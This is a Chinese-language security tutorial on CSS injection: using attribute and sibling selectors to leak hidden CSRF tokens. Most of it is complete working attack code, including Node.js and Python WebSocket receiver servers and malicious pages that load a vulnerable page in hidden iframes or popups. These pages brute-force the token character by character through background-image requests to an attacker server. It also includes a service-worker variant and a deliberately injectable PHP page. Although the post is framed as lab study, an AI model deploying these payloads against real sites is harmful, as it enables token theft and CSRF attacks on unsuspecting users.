CSS注入 2.0

news2024/12/23 15:43:08

看过CSS注入1.0的朋友,不相信对CSS注入有了一个概念性的理解,在上一篇文章中我只是简单复现了一下波兰老哥的CSS注入过程,阐述了其大致原理。对于其中很大一部分技术细节,代码细节并未做深入的理解(当时我也看不懂,哈哈)。今天在写个CSS注入2.0CSS注入在做一个更为深入的总结分享。

1. 什么是CSS注入?

35C3比赛中初次出现,按照归属来分的话可以划分到XS-Leak攻击中去的一种攻击手段。

XS-Leak 的原理是使用 Web 上可用的此类侧信道来显示有关用户的敏感信息,例如他们在其他 Web 应用程序中的数据、有关其本地环境的详细信息或他们连接到的内部网络。

说的直白点就是通过客户端的一些漏洞泄露客户端本只属于客户的信息,可以称之为侧信道攻击,即XS-Leak攻击。

叫什么名字做个了解就行,重要的是作为一种攻击方式它的攻击目标、攻击手段、以及防护方式都是我们需要去深入了解的。

CSS注入的目的在1.0中已经说过了,就是要通过一台攻击服务器伪造页面,对存在注入点的页面进行挟持,不断利用CSS属性选择器探测出标签内的隐藏属性(token)实现token的窃取,为下一步施行CSRF攻击扫清障碍。

由于其较为苛刻的利用条件,导致实际环境中出现不多,但是活跃于一些CTF赛事。还是很值得我们研究一番的。

2.基本攻击思路

由于注入点是我们上传的参数会出现在sytle标签中作为CSS元素使用。那么我们就有必要了解下面两种实现攻击的CSS属性。

2.1 CSS属性选择器

CSS 2 引入了属性选择器。属性选择器可以根据元素的属性及属性值来选择元素。也就是说为了大范围的控制元素的属性,CSS支持使用选择器匹配抓取元素的属性,对其进行一些CSS样式的设置。

标签名称[属性名=(也可以是~=等特殊判断号)"匹配值"]{设置的样式}
选择器类型选择器含义
[attr]表示带有以 attr 命名的属性的元素。
[attr=value]表示带有以 attr 命名的属性,且属性值为 value 的元素。
[attr~=value]表示带有以 attr 命名的属性的元素,并且该属性是一个以空格作为分隔的值列表,其中至少有一个值为 value。
[attr|=value]表示带有以 attr 命名的属性的元素,属性值为“value”或是以“value-”为前缀("-"为连字符,Unicode 编码为 U+002D)开头。典型的应用场景是用来匹配语言简写代码(如 zh-CN,zh-TW 可以用 zh 作为 value)。
[attr^=value]表示带有以 attr 命名的属性,且属性值是以 *value *开头的元素。
[attr$=value]表示带有以 attr 命名的属性,且属性值是以 *value *结尾的元素。
[attr*=value]表示带有以 attr 命名的属性,且属性值至少包含一个 *value *值的元素。
[attr operator value i]在属性选择器的右方括号前添加一个用空格隔开的字母 i(或 I),可以在匹配属性值时忽略大小写(支持 ASCII 字符范围之内的字母)。
[attr operator value s] 实验性在属性选择器的右方括号前添加一个用空格隔开的字母 s(或 S),可以在匹配属性值时区分大小写(支持 ASCII 字符范围之内的字母)。

看到这个表格,有兴趣的可以去MDN,当然我们今天的主角其实就是[attr^=value]这一款选择器。我们举个例子看一看:

<!doctype html><meta charset=utf-8>
<form action="">  
    <p>
        测试框1<input value="aaabbb">
    </p>
    
    <p>
        测试框2<input value="bbbaaa">
    </p>

    <p>
        测试框3<input value="asc">
    </p>
</form>
<style>
/* 测试选择器 */
input[value^="aa"]{
    background-color: red;
}

input[value^="b"]{
    background: url(http://127.0.0.1/secbasic/1.jpg);
}

</style>

测试结果:

在这里插入图片描述
关注选择器的内容,我们看到它准确的选中了两个a开头的元素并修改了颜色。并且再选中b的时候还发送出了url请求。

两件事,第一:我们可以对元素的属性值进行筛选。第二:筛选完毕后可以通过web请求的方式将结果发送出去

前面的注入原理中说过了,我们的目标是隐藏元素的属性数值,因为隐藏属性的缘故,我们想要探测它的数值,仅仅使用属性选择器是无法选中的。

比如:

<!doctype html>
<meta charset=utf-8>
<form action="">
    <input type=hidden value="lalala">
    
    <p>
        测试框1<input value="aaabbb">
    </p>
    
    <p>
        测试框2<input value="bbbaaa">
    </p>

    <p>
        测试框3<input value="asc">
    </p>
</form>

<style>
    /* 测试选择器 */
    input[value^="lalala"] {
        background: url("http:/127.0.0.1/secbasic/1.jpg");
    }
</style>

在这里插入图片描述
无法选中从而无法发出请求。那我们就需要借助另一个宝贝了。

2.2 通用兄弟选择器

通用兄弟选择器(~)将两个选择器分开,并匹配第二个选择器的所有迭代元素,位置无须紧邻于第一个元素,只须有相同的父级元素。

/* 在任意图像后的兄弟段落 */
img ~ p {
  color: red;
}

示例:套用属性选择器之后选中隐藏标签

<!doctype html>
<meta charset=utf-8>
<form action="">
    <input type=hidden value="lalala">
    
    <p>
        测试框1<input value="aaabbb">
    </p>
    
    <p>
        测试框2<input value="bbbaaa">
    </p>

    <p>
        测试框3<input value="asc">
    </p>
</form>

<style>
    /* 测试选择器 */
    input[value^="lalala"] ~*{
        color: yellow;
        background: url("https://www.baidu.com");
    }
</style>

在这里插入图片描述

可以看到,因为lalala属性值的判断选中,成功将元素的颜色进行了设置,并且发出了url请求。

那么css属性选择器和通用兄弟选择器结合起来使用就可以判断隐藏标签的属性值发出请求了。

2.3 一台攻击服务器

此时我们需要一台攻击服务器,将注入点页面挟持在自己的页面内部,之后通过自己页面内部的JS代码,不断控制着源注入点页面进行CSS属性的快速更换,获取到的信息发送给本地服务器的处理接口,快速爆破出标签内的隐藏属性值。

3.实现方式

3.1 js+nodejs实现CSS注入

实验环境:本地使用phpstudy搭建apache服务,开启虚拟主机,虚拟主机中的页面存放注入点页面。本地配置nodejs环境,使用nodejs模拟另一台服务器。这样注入页面就可以用域名进行访问。模拟真实的环境。

3.1.1 注入点页面

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>

<!doctype html><meta charset=utf-8>

<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>

<style>
/* 正则替换style闭合标签,防止恶意闭合,get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>

可以清楚的看到,注入点的特征,含有input,使用input进行数据提交,同时页面内存在CSS属性的get参数提交接口,用于页面CSS属性的控制。

3.1.2 服务端页面

nodejs页面:

var express = require('express');
var app = express();
var path = require('path');
var token = "";

//采用CORS实现跨域,允许被攻击页面向服务器发送请求
app.all("*", function(req,res,next){
    //设置允许跨域的域名,*代表允许任意域名跨域 
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
    res.header("Access-Control-Allow-Credentials", true);
    next()
})


//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

//return页面请求,向客户端返回刚获取到的token
app.get('/return', function(req, res){
    res.send(token);
});


//返回恶意页面
app.get('/css.html', function(req, res){
    res.sendFile(path.join(__dirname, 'css.html'));
})

//配置本地服务器
var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

恶意页面:此页面与nodejs页面在同一个目录下

<html>
    <style>
        #frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id="current"></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        //从上到下依次为:注入点、receive服务请求、return服务请求
        vuln_url = 'http://www.bbb.com/cssinject/css.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';
        
        // 创建攻击字典数组 - 已知哈希方法为md5则可以只匹配a-f,0-9这十六个字符
        chars = "123456789abcdef".split("");
        //定义已知的token
        known = "";

        function test_char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like:一定要偷偷摸摸的藏好iframe
            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                //创建事件监听器,加载完毕后执行known_listener()函数
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        //创建payload的函数,构建css参数内容 --- 属性选择器构成的老长一串URL
        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^=\""
                    + values[value]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + values[value]
                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            return css_payload;
        }

        //监听事件使用的函数
        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                //判断未结束爆破则递归调用test_char函数开启下一轮爆破
                //先将调用者的返回体text格式赋值给known完成前端已爆破数据的存储
                known = this.responseText;
                //递归调用test_char开启下一轮爆破
                test_char(known, chars);
            } else {
                //判断已经结束爆破提示弹窗
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }

        //第一次调用爆破函数
        test_char("", chars);
    </script>
</html>

3.1.3 测试效果

1.对应目录下开启nodejs服务

D:\phpstudy_pro\WWW\bbb\cssinject>node css.js
Example app listening at http://:::8083

2.模拟客户点击恶意页面

http://127.0.0.1:8083/css.html

在这里插入图片描述

服务端显示:

在这里插入图片描述
3.得出结论

测试成功,使用iframe将受害页面包含进来,可以对其进行CSS注入。获取token。

token存储位置:服务端创建变量token中转给客户端,并将token数值打印输出到服务端。

3.1.4 对比波兰研究员的方案

在CSS注入1.0中我们采用的就是波兰这位研究员的测试方案,再次查看效果:

在这里插入图片描述
代码这里就不再赘述了,通过分析我们可以看到这里攻击服务器在客户端的cookie中临时存储token的爆破结果,如果在服务器上将结果打印出来,同样可以获取用户的token。两种方法均是利用iframe标签重复在页面内发起对于注入点的css注入,试图爆破出隐藏的标签属性token。最终都可以达到目的。

修改后的nodeJS代码:

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');

const PORT = 3000;

// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;

// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
console.log(token);
res.send('');
});

app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});

app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});

app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})

在这里插入图片描述

3.2 js+websocket实现CSS注入

3.2.1 注入点页面(需要服务器解析)

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>

<!doctype html><meta charset=utf-8>

<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>

<style>
/* 正则替换style闭合标签,防止恶意闭合,get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>

3.2.2 恶意页面(需要服务器解析)

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <div id="div"></div>
    <iframe id="leakchar"></iframe>
</body>
<script>
    const WS = "ws://127.0.0.1:8000";
    const HTTP = "http://127.0.0.1:8008";
    const ALPHABET = Array.from("0123456789abcdef");
    var s = new WebSocket(WS);

    s.onopen = function (event) {
        console.log('connection open');
        next('');
    }
    s.onmessage = function (event) {
        let token = event.data.match(/\w+/)[0];
        next(token);
    }
    s.onclose = function (event) {
        console.log('bye');
    }

    function next(token) {
        if (token.length < 32) {
            console.log('leaking ' + token + '* ...');
            document.getElementById('leakchar').src = 'http://www.bbb.com/cssinject/css.php?css=' + generateCSS(token);
        } else {
            console.log('done, lets pwn');
            changeEmail(token);
        }
    }

    function generateCSS(token) {
        let css = '';
        for (let char of ALPHABET) {
            css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;
        }

        return css;
    }

    function changeEmail(token) {
        var div = document.getElementById("div");
        div.innerHTML = token;
    }
</script>

</html>

3.2.3 websocket服务端(使用python架设)

from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket

PORT_HTTP = 8008
PORT_WS = 8000

class RequestHandler(BaseHTTPRequestHandler, WebSocket):
    def do_GET(self):
        """Respond to a GET request."""
        print("http GET request")
        self.send_response(200)
        self.end_headers()
        ws.sendMessage(self.path)
        return

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""

class SimpleEcho(WebSocket):

    def handleMessage(self):
        # echo message back to client
        print(self.address, 'new msg')
        #self.sendMessage(self.data)

    def handleConnected(self):
        print(self.address, 'connected, opening http server')
        global ws
        ws = self
        httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
        server_thread = Thread(target=httpd.serve_forever)
        server_thread.daemon = True
        server_thread.start()
        print('http is on 8000,and ws is on 8008:')

    def handleClose(self):
        print(self.address, 'closed')

server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()

这个可以放在本地的pycharm里面运行,需要进行导包

pip install SimpleWebSocketServer

在这里插入图片描述

3.2.4 访问恶意页面获取信息

http://www.bbb.com/cssinject3/index.html

在这里插入图片描述
本例通过websocket来作为后端服务器接收处理参数,与上述两种方案均有异曲同工之妙。但是一旦浏览器禁用了iframe标签包含。是不是真的可以防御XSS注入呢?我们俩看下面这个例子:

3.3 window.open结合serviceworker

3.3.1 servicerworker概念

这里参考另一位安全研究员的github,这里他提供了不用iframe完成css注入的解决方案。核心思路是利用了wondws.open方法进行跨域通信,完成注入。
在这里插入图片描述
在该作者的代码中使用了servicerworker这样一个JS特有的特性。Service Worker 首先是一个运行在后台的 Worker 线程,然后它会长期运行,充当一个服务,很适合那些不需要网页或用户互动的功能。它的最常见用途就是拦截和处理网络请求。

Service Worker 是一个后台运行的脚本,充当一个代理服务器,拦截用户发出的网络请求,比如加载脚本和图片。Service Worker 可以修改用户的请求,或者直接向用户发出回应,不用联系服务器,这使得用户可以在离线情况下使用网络应用。它还可以在本地缓存资源文件,直接从缓存加载文件,因此可以加快访问速度。

具体参考《阮一峰的 webAPI教程》,重点是这样一种特性只能在https网页中使用,因为设计者人为http通信的不安全性给这样的前端脚本造成十分巨大的安全威胁。

下面演示以下我做了一点点修改的代码,因为原来的代码修改起来确实很麻烦。

3.3.2 注入点页面

名称为:victim.html

<html>
<form action="https://security.love" id="sensitiveForm">
    <input type="hidden" id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
    <input >
</form>

<script>
    //处理接收的参数将其作为style嵌入页面
    var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
    var htmlEncode = fragment.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    document.write("<style>" + htmlEncode + "</style>");   
</script>

<script src="./server.js">
    //包含进响应message的js代码
</script>

</html>

当然还有它的配套JS,为了方便我将测试所有页面都放到192.168.2.169这台centos7服务器上去了。注意服务器一定要配置为HTTPS才能成功。

名称:server.js

navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
    console.log("got message");
    // if (event.origin !== "http://www.aaa.com") 先前的源判断,可以不添加
    //     return;
    localStorage.setItem("csrfToken", event.data);
}

3.3.3 攻击页面

攻击主页面:attacker.html

<html>

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
</head>

<body onclick="potatoes(0)">click somewhere to begin attack</body>
</br>
The CSRF token is:
<div id="CSRFToken"></div>

</html>

<script>
    //判断浏览器是否支持localstorge功能
    if ('serviceWorker' in navigator) {
        console.log('浏览器支持navigator功能!!!');
        navigator.serviceWorker.register('./sw.js');
    }

    localStorage.removeItem('csrfToken');

    // 创建攻击字典数组 - 已知哈希方法为md5则可以只匹配a-f,0-9这十六个字符
    chars = "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("");
    //创建url请求+分割符(分隔符用于提取已知token)
    var server_url = 'https://192.168.2.169/cssinject2/1.php/';

    var potatoes = function (count) {
        var csrfToken = localStorage.getItem("csrfToken");
        if (!csrfToken) {
            csrfToken = '';
        }
        //调用函数生成payload
        var css = build_css(chars.map(v => csrfToken + v));
        
        //指定目标URL,上方URL用于互相切换
        var win2 = window.open('https://192.168.2.169/cssinject2/1.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
        var win2 = window.open(`https://192.168.2.169/cssinject2//victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")

        //调用窗口的blur方法
        win2.blur();
        var newCount = count + 1;
        if (csrfToken.length == 20) {
            return null;
        }
        setTimeout(function () {
            potatoes(newCount);
        }, 2000);
    }
    window.addEventListener('storage', function (e) {
        if (e.key == "csrfToken") {
            document.getElementById("CSRFToken").innerHTML = e.newValue;
        }
    });

    //css生成器函数
    function build_css(values) {
        css_payload = "";
        for (var value in values) {
            css_payload += "#sensitiveForm input[value^=\""
                + values[value]
                + "\"]~*{background-image:url("
                + server_url
                + values[value]
                + ")%3B}"; //这里需要进行URL编码,因为;在JS中是有含义的不能直接写
        }
        return css_payload;
    }

</script>

servicerworker驻留脚本:sw.js

self.addEventListener('fetch', function(event) {
    //抓取请求出去的URL
    var urlLogged = event.request.url;
    //以1.php这个无意义的字符为分隔符提取出token,将其打印出来,并发送给注入页面 --- 让注入页面将其存储到localstorge
    if (urlLogged.indexOf("/1.php/") >=0  && urlLogged.indexOf("victim") == -1){
        var splitted = urlLogged.split("/1.php/");
        var csrfToken = splitted[splitted.length - 1];
        console.log(csrfToken);
        self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken)));
    }
});

3.3.4 测试效果

测试结果:测试成功
在这里插入图片描述
这里是它的localstorge:
在这里插入图片描述

4.总结

经过以上第三节对于多种CSS注入方法的测试得出结论,如果限制了iframe标签可以很大程度上限制住我们的CSS注入攻击。至于第四种使用了servicerworker特性的注入方法,也是因为其注入页面是设计过的,其会响应恶意攻击的流程。致使该方法目前看来仅仅具有观赏性。

很简单,因为作为攻击方将恶意网页发送给受害人时,一定需要一个接收token的服务端来获取结果。3.1与3.2的nodejs和websocket均可以完成此目的,而3.3示例中并未使用后端服务器接收响应的结果。

关于CSS注入,它的过程还是值得进一步推敲的,当然,在这一学习过程中我们也额外收获了诸如websockert通信技术、serviceworker技术等概念。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/164982.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是分布式事务

上一篇文章已经讲完分布式了&#xff0c;那暖男说要讲分布式事务那就一定会讲&#xff0c;只是我估计大家没料到暖男这么快就肝好了吧&#xff1f; 事务想必大家并不陌生&#xff0c;至于什么是 ACID&#xff0c;也是老生常谈了。不过暖男为了保证文章的完整性确保所有人都听得…

uniapp-微信小程序分包操作步骤详解

1、在原来的pages的同级下新建一个目录&#xff1a;package1 &#xff08;名字自己随便起。想分几个包就建几个新目录。比如package2、package3……&#xff09; 结构是并列的&#xff1a; 2、把想要放进分包里去的模块都剪切在新目录里面去。 &#xff08;就是以前全都放在…

移动端 - 搜索组件(suggest篇)

这一篇博客是和 search-input篇 衔接的, 需要的可以看上文 移动端 - 搜索组件(search-list篇) 这里我们需要去封装这么一个组件 先说一下大致的方向: 1. 根据父组件传入的关键字数据发送请求获取后端数据, 进行模板渲染 2. 处理一些边界情况(后端返回数据为空, 初次加载数据…

《小猫猫大课堂》三轮3——字符函数和字符串函数及其模拟实现

宝子&#xff0c;你不点个赞吗&#xff1f;不评个论吗&#xff1f;不收个藏吗&#xff1f; 最后的最后&#xff0c;关注我&#xff0c;关注我&#xff0c;关注我&#xff0c;你会看到更多有趣的博客哦&#xff01;&#xff01;&#xff01; 喵喵喵&#xff0c;你对我真的很重…

C语言——自定义类型详解(结构体,联合体,枚举,位段)

专栏&#xff1a;C语言 个人主页&#xff1a;HaiFan. 专栏简介&#xff1a;本专栏主要更新一些C语言的基础知识&#xff0c;也会实现一些小游戏和通讯录&#xff0c;学时管理系统之类的&#xff0c;有兴趣的朋友可以关注一下。 结构体前言一、结构体1.结构体类型的声明2.结构体…

黑马学ElasticSearch(十)

目录&#xff1a; &#xff08;1&#xff09;自动补全-安装品分词器 &#xff08;2&#xff09;自动补全-自定义分词器 &#xff08;3&#xff09;自动补全-DSL实现自动补全查询 &#xff08;4&#xff09; 自动补全-修改酒店索引库结构 &#xff08;5&#xff09;自动补全…

测试开发——用例篇(如何设计一个测试用例,设计测试用例的一些具体方法)

目录 一、测试用例的基本要素 二、设计测试用例的万能公式 (在没有需求文档的情况下&#xff09; 1、水杯的测试用例 2、一个网站的登录测试用例 三、基于需求进行测试用例的设计 四、测试用例的具体设计方法 1、等价类 2、边界问题 3、判定表&#xff08;因果图&#…

协程和线程的区别、协程原理与优缺点分析、在Java中使用协程

文章目录什么是协程协程的优点与缺点协程实现原理.协程与线程在不同编程语言的实现在Java中使用协程Kilim介绍Kilim整合Java,使用举例小总结什么是协程 相对于协程&#xff0c;你可能对进程和线程更为熟悉。进程一般代表一个应用服务&#xff0c;在一个应用服务中可以创建多个…

源码看CAF的线程调度框架

序 本篇文章带着大家来看下CAF&#xff08;C Actor Framwwork&#xff09;的调度框架&#xff0c;也是算现阶段C比较成熟的调度框架&#xff0c;大家如果自己完成一个比较大型的项目&#xff0c;任务调度也可以参照CAF。 鉴于篇幅较长&#xff0c;大家如果学习使用如何使用CAF…

修改jupyter notebook默认路径

修改jupyter notebook默认路径jupyter notebook默认打开C:\Users\你的用户名&#xff0c;用户名是你的电脑用户名&#xff0c;upload文件又会在C盘生成一堆文件&#xff0c;很乱&#xff0c;用notebook打开文件还要跳转到目录&#xff0c;很麻烦&#xff0c;那有没有办法呢&…

【PYTHON】如何配置集成开发环境Geany

&#x1f482;作者简介&#xff1a; THUNDER王&#xff0c;一名热爱财税和SAP ABAP编程以及热爱分享的博主。目前于江西师范大学会计学专业大二本科在读&#xff0c;同时任汉硕云&#xff08;广东&#xff09;科技有限公司ABAP开发顾问。在学习工作中&#xff0c;我通常使用偏后…

【笔记】大话设计模式17-20

【笔记】大话设计模式17-20 文章目录【笔记】大话设计模式17-2017 适配器模式17.1 Example17.2 定义17.3 Show me the code17.4 总结18 备忘录模式18.1 Example18.2 定义18.3 Show me the code18.4 总结19 组合模式19.1 Example19.2 定义19.3 Show me the code19.4 总结20 迭代…

基于python的人工智能数据处理常用算法

文章目录二分法求解最小二乘法曲线拟合最小二乘法的来历最小二乘法与曲线拟合多项式曲线拟合SciPy内置最小二乘法应用泰勒级数背景引入泰勒公式泰勒级数展开与多项式近似二分法求解 机器学习过程中往往会用到很多变量&#xff0c;而这些变量之间的复杂关系一般用非线性方程来&…

VS系列知识-VS Code的安装+Vue环境的搭建+Vue指令

一、VS Code下载地址 Visual Studio Code - Code Editing. Redefined 二、VS Code初始化设置 1.安装插件 在安装好的VSCode软件的扩展菜单中查找安装如下4个插件 2、创建项目 vscode本身没有新建项目的选项&#xff0c;所以要先创建一个空的文件夹&#xff0c;如project_xx…

【用三大件写出的开门烟花特效】

又到了一年一度的春节时期啦&#xff01;昨天呢是北方的小年&#xff0c;今天是南方的小年&#xff0c;看到大家可以愉快的放烟花&#xff0c;过大年很是羡慕呀&#xff01;辞旧岁&#xff0c;贺新春&#xff0c;今年我呀要放烟花&#xff0c;过春节&#xff01;&#x1f9e8;。…

云原生|kubernetes|2022年底cks真题解析(1-10)

前言&#xff1a; cka和cks认证真的比较恶心&#xff0c;他们的那个PSI Bridge Secure Browser真的非常卡。 吐槽完毕&#xff0c;不废话&#xff0c;直接上真题解析。 CKS总共是16道题&#xff0c;题目顺序是打乱的&#xff0c;由于认证系统非常卡&#xff0c;因此&#xf…

通讯录最终版——动态存储+文件处理

最终版通讯录即从上一个版本修改过来先看总体代码&#xff0c;我们再看看差异ps&#xff1a;里面涉及到很多函数的使用&#xff0c;后续我会出专栏来书写这些函数的使用和实例&#xff0c;与常见错误大家可以通过https://cplusplus.com查找test.c#define _CRT_SECURE_NO_WARNIN…

Spring入门-IOC/DI入门与使用文件配置管理(1)

文章目录Spring入门1&#xff0c;Spring介绍1.1 为什么要学?1.2 学什么?1.3 怎么学?2&#xff0c;Spring相关概念2.1 初识Spring2.1.1 Spring家族2.1.2 了解Spring发展史2.2 Spring系统架构2.2.1 系统架构图2.2.2 课程学习路线2.3 Spring核心概念2.3.1 目前项目中的问题2.3.…

已解决:无法解析 jdk.tools:jdk.tools:1.6

文章目录问题描述解决方案问题描述 HBase API客户端操作时&#xff0c;报错&#xff1a;无法解析 jdk.tools:jdk.tools:1.6 这种问题司空见惯了&#xff0c;无非是依赖没下载&#xff0c;版本问题&#xff0c;依赖没加载成功&#xff0c;文件索引没更新成功&#xff0c;IDEA文…

大数据-Hadoop的介绍、配置和集群的使用

HDFS分布式文件系统 分布式&#xff1a;将多台服务器集中在一起&#xff0c;每台服务器都实现总体中的不同业务&#xff0c;做不同的事情 单机模式 厨房里只有一个人&#xff0c;这个人既要买菜&#xff0c;又要切菜&#xff0c;还要炒菜&#xff0c;效率低。 分布式模式 厨房…